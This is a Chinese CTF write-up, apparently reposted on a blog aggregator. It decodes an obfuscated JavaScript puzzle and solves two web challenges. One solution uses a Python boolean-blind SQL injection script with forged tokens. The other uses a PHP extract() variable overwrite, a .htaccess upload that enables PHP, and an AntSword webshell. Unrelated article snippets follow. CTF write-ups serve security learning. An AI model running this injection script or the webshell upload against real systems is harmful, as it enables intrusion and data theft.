DRKCT复现

Osint

羡慕群友每一天

MISC

签到

扫码关注公众号,回复一下行

(眼神要好, 我做题时没看见有个二维码)

神秘的文字

把代码js运行一下

(用js的原因是前面给的动物代表的字符类似jsfuck代码)

𓅂=+![];
𓂀=+!𓅂;
𓁄=𓂀+𓂀;
𓊎=𓁄+𓂀;
𓆣=𓁄*𓁄;
𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;
𓅬=𓆣+𓊎;
[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};
𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";
console.log(𓇎+𓂀+𓅂+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓅂+𓆣+𓇎+𓆣+𓂀+𓇎+𓂀+𓊎+𓂀+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓁄+𓊝+𓇎+𓂀+𓆫+𓁄+𓇎+𓆣+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓁄+𓅬+𓇎+𓂀+𓊝+𓅬+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆣+𓆣+𓇎+𓆣+𓅂+𓇎+𓂀+𓊝+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓅬+𓁄+𓇎+𓂀+𓊝+𓊝+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆫+𓆣+𓇎+𓆫+𓂀+𓇎+𓂀+𓂀+𓆫+𓇎+𓂀+𓊎+𓅬+𓇎+𓂀+𓂀+𓊎+𓇎+𓆫+𓂀+𓇎+𓂀+𓅂+𓊝+𓇎+𓂀+𓁄+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓆫+𓊎);

 是八进制,转成文本,我用脚本转,在线工具有乱码

import chardetbyte_str = b"\107\117\117\104\41\131\117\125\162\40\160\101\163\163\127\157\162\144\40\151\163\72\155\101\162\164\61\116\137\113\61\105\120\160\63"
byte_str_charset = chardet.detect(byte_str)  # 获取字节码编码格式byte_str = str(byte_str, byte_str_charset.get('encoding'))  # 将八进制字节流转化为字符串
print(byte_str)

WEB

在经历过几次比赛以后发现现在比赛的web题,难度和脑洞都有,特别是在脚本和自动化工具的运用上要求很熟练,否则在做题时可能会感觉无从下手

EzLogin
TOKEN

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码

作用:

1. 身份验证令牌(Authentication Token):在身份验证过程中,令牌是一个用于证明用户身份的凭据。它可以是一个包含用户信息和其他标识符的加密字符串,例如用户名、角色、权限等。常见的身份验证令牌包括JWT(JSON Web Token)和OAuth令牌。

2. 会话令牌(Session Token):在Web应用程序中,会话令牌是一个用于标识用户会话的唯一标识符。它通常存储在客户端的Cookie中,并在用户登录后生成和发送到客户端。会话令牌可以帮助服务器跟踪用户的状态,例如用户是否已经登录,以及用户的特定会话数据。

3. 访问令牌(Access Token):在OAuth身份验证流程中,访问令牌是一个用于访问受保护资源的凭据。当用户通过OAuth授权后,授权服务器会颁发访问令牌给客户端应用程序,然后客户端可以使用该令牌来请求受保护资源。

4. CSRF令牌(Cross-Site Request Forgery Token):用于防止跨站请求伪造攻击的令牌。它是一个随机生成的字符串,嵌入到Web表单中,并在提交表单时与会话中存储的令牌进行比较。如果两者不匹配,则请求被视为潜在的CSRF攻击。

个人感觉如果了解过session的话,可能比较好理解token

进入靶场后,查看源代码发现有一个注册的页面,先注册一个账户,然后登录

(我注册的是admin1 123)

登录后会跳转到home.php,一开始我以为是登录的问题,反复尝试了几遍发现还是这个页面,只能抓包看看,发现了token,放厨师里面解密一下

是一串json的字符串,把admin改为1,修改token

在刷新home.php,发现会回显注册的用户和密码

 在大token里面还有一个小token,是md5,所以可以多注册几个用户尝试看home.php的回显

听有些大佬用的二次注入,应该是因为有页面回显了用户信息,所以二次注入构造恶意sql语句

这里使用布尔盲注,因为经过尝试后,发现存在sql注入

#导入库
import requests #用于发送HTTP请求
import base64 #用于进行Base64编码和解码
import hashlib #用于计算MD5哈希值
import binascii#用于在二进制数据和ASCII字符串之间进行转换
import json #用于处理JSON数据(因为要构建json的字符串形式)
#定义辅助函数
def bin2hex(binary_data):hex_data = binascii.hexlify(binary_data)return hex_data.decode('utf-8')
def hash_md5(input_string):md5_obj = hashlib.md5()md5_obj.update(input_string.encode('utf-8'))hash_string = md5_obj.hexdigest()return hash_string
def encode_base64(input_string):input_bytes = input_string.encode('utf-8')base64_bytes = base64.b64encode(input_bytes)base64_string = base64_bytesreturn base64_string
s=""
#循环构造和发送请求
for j in range(1,50):for i in range(32,130):inp="admin'/**/and/**/substr((select table_name from information_schema.tables where table_schema like 0x444b435446 LIMIT 2,1),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"inp="admin'/**/and/**/substr((select sseeccrreett from secret),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"inp=inp.replace(" ","/**/")md=hash_md5(inp)jso=json.dumps({"username":inp, "token":md, "is_admin":1})token=bin2hex(encode_base64(jso))headers={"Host":"challenge.qsnctf.com:32311","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Cookie":"TOKEN="+token}a=requests.get("http://challenge.qsnctf.com:32311/home.php",headers=headers)
#处理响应if("No user found." in a.text):passelif("Hacker" in a.text):pass#print(chr(i),"*hacker")#print(a.text)#breakelse:#if("pass" in a.text):s+=chr(i)print(s)break

 

总结:这题主要就是抓住token,因为token是我们注册是生成的令牌,并且题目也给了hint是根据用户来输出密码,说明跟token有关,对于cookie中的session,token之类的东西要敏感一点

ezsign

dirsearch扫一下,发现index.php.bak 下载后打开,进行代码审计

?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;if($token){extract($_GET);$token = base64_decode($token);$token = json_decode($token, true);$username = $token['username'];$password = $token['password'];$isLocal = false;if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){$isLocal = true;}if($isLocal){echo 'Welcome Back,' . $username . '!';//如果 upload 目录下存在$username.png文件,则显示图片if(file_exists('upload/' . $username . '/' . $token['filename'])){// 显示图片,缩小图片echo '<br>';echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';} else {echo '请上传您高贵的头像。';// 写一个上传头像的功能$html = <<<EOD<form method="post" action="upload.php" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Upload"></form>EOD;echo $html;}} else {// echo "留个言吧";$html = <<<EOD<h1>留言板</h1><label for="input-text">Enter some text:</label><input type="text" id="input-text" placeholder="Type here..."><button onclick="displayInput()">Display</button>EOD;echo $html;}
} else {$html = <<<EOD

大致的意思是:

  1. 首先,检查cookie中是否存在名为"token"的值。如果存在,则解码该token并提取出其中的用户名、密码以及其他信息。
  2. 然后,检查用户的IP地址是否为本地地址(127.0.0.1),如果是,则欢迎用户,并检查是否存在用户上传的头像文件。如果存在,则显示该头像;否则,提示用户上传头像的功能。
  3. 如果用户不是本地用户,则显示一个留言板,允许用户输入文本,并在点击按钮后将文本显示出来。
  4. 如果cookie中不存在"token"值,则显示一个登录表单,要求用户输入用户名和密码进行登录。

其中存在一个extract()函数,这个函数可能导致变量覆盖

extract - 从关联数组中提取变量 (键为变量名,值为变量值),导入系统

$data = array("username" => "john", "age" => 30);
extract($data);
echo $username; // 输出 "john"
echo $age;      // 输出 "30"

 前面要求是本地127.0.0.1访问的,所以可以利用extract来进行变量覆盖,通过上传_SERVER[REMOTE_ADDR]=127.0.0.1,被extract提取后导入系统中,进入upload页面

上传文件后,发现蚁剑连接不上,查看源码发现存在一个.htaccess

这里真不知道怎么判断出的解析不成功,赛方给了hint

(30分钟后,我明白了,当我上传了php后,直接访问显示的还是源码,所以来判断没有被解析

Dusk队的wp )

上传一个.htaccess配置文件,打开php解析引擎("php_flag engine 1"来打开引擎 )

之后蚁剑连接 /upload/admin/1.jpg,路径是图片路径

知识点:.htaccess和extract

.htaccess文件是一个用于配置 Apache Web 服务器的配置文件,它可以用来控制网站的行为,包括重定向、URL 重写、访问控制等。.htaccess 文件通常位于网站根目录下,它的名称以点开头,表示该文件是一个隐藏文件,用于存放敏感配置信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/333283.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

音视频开发5 补充 - Nginx搭建rtmp流媒体服务器,目的是让ffmpeg 可以直播推流

直播推流 ffmpeg -re -i out.mp4 -c copy flv rtmp://server/live/streamName -re, 表示按时间戳读取文件 参考&#xff1a; Nginx 搭建 rtmp 流媒体服务器 (Ubuntu 16.04) https://www.jianshu.com/p/16741e363a77 第一步 准备工作 安装nginx需要的依赖包 打开 ubutun 终端…

Less语言

Less是一门预编译语言&#xff0c;它扩展了CSS语言&#xff0c;增加了变量、Mixin、函数等特性&#xff0c;使CSS更易维护和扩展 Less也扩充了CSS语言&#xff0c;增加了诸如变量、混合运算、函数等功能。Less既可以运行在服务端(Node.js和Rhino平台)也可以运行在客户端(浏览器…

K8S认证|CKA题库+答案| 13. sidecar 代理容器日志

目录 13、使用 sidecar 代理容器日志 CKA v1.29.0模拟系统 下载试用 题目&#xff1a; 开始操作&#xff1a; 1&#xff09;、切换集群 2&#xff09;、生成yaml文件 3&#xff09;、官网找模板 4&#xff09;、编辑yaml文件 5&#xff09;、应用yaml文件 ​6&…

H3CNE-8-ARP工作原理

ARP&#xff1a;Address Resolution Protocol 通过目的IP地址请求对方的MAC地址的过程。 数据链路层在进行数据封装时&#xff0c;需要目的MAC地址。 arp -a 查看 arp -d * 清空 主机A发送一个数据包给主机C之前&#xff0c;首先要获取C的MAC地址 数据封装

Day 40 Web容器-Tomcat

Tomcat 一&#xff1a;Tomcat简介 1.简介 ​ Tomcat是Apache软件基金会&#xff08;Apache Software Foundation&#xff09;的Jakarta 项目中的一个核心项目 ​ Tomcat服务器是一个免费的开放源代码的Web应用服务器&#xff0c;属于轻量级应用服务器 ​ Tomcat是WEB容器/WE…

Golang | Leetcode Golang题解之第108题将有序数组转换为二叉搜索树

题目&#xff1a; 题解&#xff1a; func sortedArrayToBST(nums []int) *TreeNode {rand.Seed(time.Now().UnixNano())return helper(nums, 0, len(nums) - 1) }func helper(nums []int, left, right int) *TreeNode {if left > right {return nil}// 选择任意一个中间位置…

诚心分享!主食冻干横向对比:希喂、爱立方、K9等谁最值得入手?

主食冻干到底有必要喂吗&#xff1f;七年铲龄铲屎官告诉你&#xff0c;是真的很有必要喂&#xff01; 这些年随着宠物经济的发展、科学养宠的普及&#xff0c;现在养猫不仅局限在让猫吃饱就行&#xff0c;更多人开始关注到猫的饮食健康。大量的实际喂养案例证明了&#xff0c;传…

冯喜运:5.27黄金短线看震荡,今日黄金原油走势分析

【黄金消息面分析】&#xff1a;黄金作为传统的避险资产&#xff0c;在经济不确定性中扮演着至关重要的角色。近期&#xff0c;国际黄金价格经历了显著的波动。从5月9日的低点2325.19美元/盎司反弹至2340美元/盎司以上&#xff0c;尽管金价曾一度触及2449.89美元/盎司的历史高点…

Baxter机器人摄像头打不开的一个可能的解决办法

操作过程 1.连上机器人 cd ros_ws/ ./baxter.sh2.查看摄像头&#xff08;最多开两个&#xff09; rosrun baxter_tools camera_control.py -l 3.打开指定的摄像头 rosrun baxter_tools camera_control.py -o left_hand_camera -r 1280x800 另&#xff1a;关闭的话 rosrun…

南京“十元手冲咖啡” :流量怎么砸中你?

三包速溶咖啡、一个塑料热水壶&#xff0c;却意外打造出一款爆品。 南京“十元手冲咖啡”突然爆火&#xff0c;起初靠的是出人意料&#xff0c;你以为她要从罐子里擓粉了&#xff0c;她掏出来三条雀巢速溶&#xff1b;你以为她要用机器打水了&#xff0c;她拿出来一个上世纪的…

Docker学习(4):部署web项目

一、部署vue项目 在home目录下创建项目目录 将打包好的vue项目放入该目录下&#xff0c;dist是打包好的vue项目 在项目目录下&#xff0c;编辑default.conf 内容如下&#xff1a; server {listen 80;server_name localhost; # 修改为docker服务宿主机的iplocation / {r…

服务器端口号,如何避免与公共端口冲突

首先&#xff0c;我们需要明确什么是服务器端口号。服务器端口号是计算机操作系统分配给网络应用程序的一个数字标识&#xff0c;用于区分不同的网络服务。每个网络服务都需要一个唯一的端口号来进行标识&#xff0c;以便在通信过程中能够准确找到对应的服务。 为了避免与公共端…

【微积分】Grant Sanderson

梯度&#xff1a;将各个偏导打包 定义&#xff1a;direction of steepest ascent 梯度向量的长度&#xff1a;最速上升方向的陡峭程度 方向导数&#xff1a;偏导的一种拓展 【托马斯微积分学习日记】13.1-线积分_哔哩哔哩_bilibili 概述 16.1line integrals of scalar funct…

2000.1-2022.06.17中国经济政策不确定性指数日度数据

2000.1-2022.06.17中国经济政策不确定性指数数据&#xff08;日度&#xff09; 1、时间&#xff1a;2001.1.1-2022.06.17 2、指标&#xff1a;CNEPU&#xff08;经济政策不确定性指数&#xff09; 3、来源&#xff1a;China Economic Policy Uncertainty Index 4、用途&…

牛客NC164 最长上升子序列(二)【困难 贪心+二分 Java/Go/PHP/C++】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/4af96fa010c44638a7e112abf65f7237 思路 贪心二分 所谓贪心&#xff0c;就是往死里贪&#xff0c;所以对于最大上升子序列&#xff0c;结尾元素越小&#xff0c;越有利于后面接上其他的数&#xff0c;也就可能变…

不用从头训练,通过知识融合创建强大的统一模型

在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;大型语言模型&#xff08;LLMs&#xff09;的开发和训练是一个复杂且成本高昂的过程。数据需求是一个主要问题&#xff0c;因为训练这些模型需要大量的标注数据来保证其准确性和泛化能力&#xff1b;计算资源也是一个…

AI预测福彩3D采取888=3策略+和值012路一缩定乾坤测试5月27日预测第3弹

今天继续基于8883的大底&#xff0c;使用尽可能少的条件进行缩号&#xff0c;同时&#xff0c;今天同样准备两套方案&#xff0c;一套是我自己的条件进行缩号&#xff0c;另外一套是8883的大底结合某位彩友的2码不定位奖号预测二次缩水来杀号。好了&#xff0c;直接上结果吧~ …

P1115 最长子段和

题目描述 给出一个长度为 &#x1d45b;n 的序列 &#x1d44e;a&#xff0c;选出其中连续且非空的一段使得这段和最大。 输入格式 第一行是一个整数&#xff0c;表示序列的长度 &#x1d45b;。 第二行有 &#x1d45b;n 个整数&#xff0c;第 &#x1d456; 个整数表示序列的…

PCL 法向量加权的RANSAC拟合分割平面

目录 一、算法原理1、原理概述2、主要函数二、代码实现三、结果展示四、相关链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、算法原理 1、原理概述

【安装】VMware虚拟机安装windows操作系统,VM的相关操作

目录 引出报错&#xff1a;press any key to boot form cd激活调整显示 在VMware上新建虚拟机&#xff0c;并安装Windows1、新建虚拟机2、装载 ISO 镜像3、安装Windows server 20164、开机初始化 虚拟机操作1、虚拟机基本操作2、虚拟机快照3、虚拟机克隆4、VMware Tools 总结 引…